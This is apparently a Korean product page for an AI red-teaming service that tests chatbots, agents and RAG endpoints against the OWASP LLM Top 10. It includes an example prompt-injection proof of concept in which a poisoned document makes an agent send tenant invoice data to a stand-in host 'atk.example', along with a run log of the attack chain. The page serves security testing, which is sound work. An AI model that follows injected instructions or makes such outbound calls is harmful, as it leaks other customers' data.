AI 위험 평가 섀도 AI 탐지 클라우드 보안 태세 익스플로잇 검증 CI/CD 지속형 플랫폼 리포트 신원 & 접근 Agentic Trust & Protection Platform

익스플로잇 검증 · AI 위험 평가의 일부

어떤 AI 위험이 실제인지 입증하세요.

AI 위험 평가 는 무엇이 잘못될 수 있는지 순위를 매깁니다. 익스플로잇 검증은 이를 입증합니다. 자율 에이전트가 챗봇, 에이전트, RAG 엔드포인트를 LLM 및 에이전트 애플리케이션을 위한 OWASP Top 10 기준으로 테스트하고 MITRE ATLAS에 매핑합니다. 모든 발견 사항에는 재현 가능한 개념 증명(PoC)이 포함되며, 그렇지 않으면 보고하지 않습니다.

무료 평가 시작하기 문서 읽기

Critical LLM01 · CWE-200 · ATLAS AML.T0051 · PoC 첨부

프롬프트 인젝션으로 다른 테넌트의 데이터가 유출됨

신뢰할 수 없는 입력에 대해 에이전트의 도구 표면을 제한합니다. 호출 가능한 도구를 허용 목록으로 지정하고, 아웃바운드 도구는 제거하며, 경계 밖으로 나가는 작업에는 사람의 승인을 요구합니다.

개념 증명(PoC)

POST /chat  { "q": "summarise doc-4471" }
>> tool_call: http.get("https://atk.example/?d=tenant_88.invoices")
<< 200 OK — 41 records left the boundary
replayed 7/10 trials · attack success rate 70%

예시 발견 사항 — 설명용이며 실제 고객 사례가 아닙니다 초안 PR

Console screenshot — finding detail with PoC

10 / 10

OWASP LLM Top 10 — CVE · CWE · CVSS · MITRE ATLAS + PoC에 매핑

몇 분

만에 입증된 발견 사항 확보 — 수동 모의 침투 테스트처럼 몇 주가 걸리지 않습니다

$10k–30k

일반적인 수동 AI 앱 점검 1건의 비용입니다. Redthread는 귀사의 고객 규모에 맞춰 가격을 책정합니다 — 문의하세요

100%

보고된 결과 중 다시 실행할 수 있는 개념 증명이 포함된 비율

실행 들여다보기

에이전트는 무엇을 시도했고 무엇이 돌아왔는지 설명합니다.

실행 RTH-r1 · 완료 · 예산 $20 14분 · 컴퓨팅 $10.24

00:04정찰 — 엔드포인트 11개, 도구 표면 3개, RAG 코퍼스 1개

02:18LLM01 직접 인젝션 · 거부됨, 발견 사항 없음

05:41오염된 doc-4471을 통한 LLM01 간접 인젝션 · 도구 호출 실행됨

06:02연쇄 → 아웃바운드 http.get · 레코드 41건이 경계 밖으로 유출됨

06:09PoC 확보 · 재실행 7/10 · CRITICAL 확인됨

13:52LLM10 무제한 소비 · 상한 유지됨, 발견 사항 없음

14:00발견 사항 2건 보고 · 후보 9건 폐기, 미입증

입증하지 못한 아홉 가지는 결코 대기열에 오르지 않습니다. 차이는 바로 그것입니다.

스캔이 진행되는 방식

대상 지정

스테이징 앱, API, 또는 코드 인식 화이트박스 테스트를 위해 연결된 GitHub 저장소. 공개 대상은 테스트 전에 도메인 소유권 검증이 필요합니다.

에이전트가 공격 체인을 따라갑니다

중요한 것을 익스플로잇하며, 작동하는 개념 증명을 얻거나 아무것도 얻지 못할 때까지 공격 체인을 따라갑니다. 요금제별 예산 상한이 최악의 경우를 제한합니다.

세 가지 산출물 제공

공유용 증명서, 엔지니어와 감사인을 위한 전체 기술 리포트, Vanta, Drata, Secureframe용 기계 판독용 버전.

10 / 10, 그리고 각 항목의 매핑.

OWASP LLM Top 10 — CVE · CWE · CVSS · MITRE ATLAS + PoC에 매핑

범주

테스트 방식

LLM01

프롬프트 인젝션

오염된 RAG 문서를 포함한 직접 및 간접 인젝션

LLM02

민감 정보 노출

테넌트 간 검색, 응답에 포함된 시크릿 또는 개인정보

LLM03

공급망

안전하지 않은 모델 역직렬화, 버전이 고정되지 않은 모델 소스, 신뢰할 수 없는 도구 또는 MCP 서버

LLM04

데이터 및 모델 오염

공격자가 쓸 수 있는 학습 데이터, 피드백 루프, 재학습 파이프라인

LLM05

부적절한 출력 처리

모델 출력을 통해 다운스트림 싱크로 이어지는 인젝션

LLM06

과도한 자율성

도구 남용, 그리고 에이전트의 신원이 실제로 도달할 수 있는 범위

LLM07

시스템 프롬프트 유출

추출 시도, 그리고 프롬프트에 시크릿이나 접근 규칙이 포함되어 있는지 여부

LLM08

벡터 및 임베딩 취약점

코퍼스 오염 및 검색 경계 테스트

LLM09

잘못된 정보

모델 출력에 대한 위험한 의존: 조작된 사실, 인용, 환각으로 생성된 패키지

LLM10

무제한 소비

설정한 상한을 기준으로 한 폭주 루프와 과다 지출

10개 범주 모두 모든 테스트 계획에 포함됩니다. 각 리포트는 어떤 범주가 관찰되었는지, 어떤 범주가 테스트되었으나 발견 사항이 없었는지(부재의 증명은 아님), 어떤 범주가 커버되지 않았는지를 명시합니다. 전체 추적성 매트릭스(OWASP LLM 2025 → MITRE ATLAS → NIST AI RMF / ISO 42001 / EU AI Act 제15조)는 문서에 있습니다.

문서

세 사람이 읽어야 하므로, 세 가지 문서.

모든 엔게이지먼트는 동일한 증거를 세 가지 형태로 만들어 냅니다. 구매 담당 부서는 안심하고 전달할 수 있는 문서를, 엔지니어링 팀은 재현 절차를, 컴플라이언스 플랫폼은 JSON을 받습니다.

Tier 1

증명서(Letter of Attestation)

설계 단계부터 민감 정보가 제거된 한 페이지 문서. 법인명, 테스트 기간, 평가 유형, 심각도별 건수, 제공자 서명. 엔드포인트도, 개념 증명도, 공격자가 이용할 수 있는 어떤 정보도 없습니다. 모의 침투 테스트를 하는지 묻는 고객에게 보내는 바로 그 문서입니다.

GET /api/runs/<id>/attestation

Tier 2

전체 컴플라이언스 리포트

요약 보고, 교전 규칙(RoE) 및 범위, 심각도 분포, 작동하는 재현 절차가 포함된 모든 발견 사항, 프레임워크 교차 매핑, 심각도별 단계로 나눈 조치 로드맵. 엔지니어링 팀과 NDA를 체결한 감사인을 위한 문서입니다.

인쇄 가능한 A4 HTML · 13개 섹션

Tier 3

기계 판독용 버전

통제 항목 매핑을 포함해 동일한 리포트를 JSON으로 제공하므로, 감사 일주일 전에 사람이 다시 입력할 필요 없이 통제 항목에 대한 증거로 Vanta, Drata, Secureframe에 바로 들어갑니다.

GET /api/runs/<id>/compliance.json

테스트 기준

엔게이지먼트가 따르고 리포트가 인용하는 방법론.

PTES NIST SP 800-115 OWASP WSTG OWASP LLM Top 10 2025 OWASP Top 10 for Agentic Applications MITRE ATLAS CVSS v3.1 CREST Defensible Pen Test

발견 사항 매핑 대상

모든 발견 사항에는 감사인이 이미 사용하는 통제 항목 참조가 함께 제공됩니다.

SOC 2 CC3.2–CC8.1 ISO 27001:2022 Annex A ISO 42001:2023 PCI DSS 11.3 / 11.4 HIPAA Security Rule § 164.308 / 164.312 NIST AI RMF NIST CSF 2.0 EU AI Act 제15조 GDPR 제25조 & 제32조

이 매핑은 통제 항목에 대한 증거로 제시될 뿐 — 결코 통과 판정이 아닙니다. 저희는 자체 인증을 보유하고 있지 않으며 귀사의 감사인도 아닙니다. 귀사를 인증했다고 말하는 벤더는 사실이 아닌 말을 한 것입니다. 리포트는 플랫폼이 서명하며, 선택적으로 CREST/OSCP 인증 검토자가 추가 서명합니다. 리포트 구성 살펴보기.

가격

귀사의 사업 규모에 맞춘 가격입니다. 문의해 주세요.

엔게이지먼트 1건은 귀사의 고객 1곳입니다. 기업에는 고객이 여럿 있습니다. 좌석 수나 스캔 수가 아니라 귀사가 담당하는 고객 규모에 따라 가격을 책정합니다. 담당하는 고객 수를 알려 주시면 견적을 보내 드립니다.

가격 문의하기

계정 하나로 고객 앱을 무제한 등록할 수 있고 화이트라벨 보고서가 제공됩니다. 도구가 스캔을 실행해 각 발견을 증명하고, 귀사의 분석가가 방향을 정하고 검증해 보고서에 서명합니다. 고객이 아닌 자사 애플리케이션을 테스트한다면 다음에서 스캔을 구매하세요: Pentest 사이트.

몇 분 안에 공격자가 무엇에 닿을 수 있는지 확인하세요.

무료 평가 시작하기